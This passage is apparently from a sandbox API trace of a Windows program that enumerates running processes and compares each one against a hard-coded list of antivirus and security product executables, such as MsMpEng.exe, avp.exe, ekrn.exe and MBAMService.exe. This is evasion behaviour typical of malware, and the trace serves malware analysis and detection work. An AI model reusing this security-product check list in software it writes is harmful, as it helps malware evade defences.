lpString2="coreServiceShell.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0301.926] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0301.926] Sleep (dwMilliseconds=0xa) [0301.941] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0301.941] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0301.942] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0301.942] Sleep (dwMilliseconds=0xa) [0301.956] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0301.957] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0301.958] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0301.958] Sleep (dwMilliseconds=0xa) [0301.975] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0301.975] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0301.976] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0301.977] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0301.977] Sleep (dwMilliseconds=0xa) [0302.018] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0302.019] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0302.020] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0302.020] Sleep (dwMilliseconds=0xa) [0302.046] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0302.047] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0302.048] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0302.072] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.096] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.112] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.129] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.143] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0302.211] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.237] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.259] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.286] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.316] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.331] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.346] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.362] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.379] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.393] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.435] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0302.456] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.472] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0302.487] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.503] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0302.519] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0302.534] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0302.550] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0302.565] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0302.581] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0302.596] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0302.613] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0302.628] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0302.644] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0302.659] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0302.714] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0302.737] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0302.753] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0302.768] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0302.788] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0302.807] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0302.832] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0302.846] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0302.875] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0302.893] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0302.909] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | 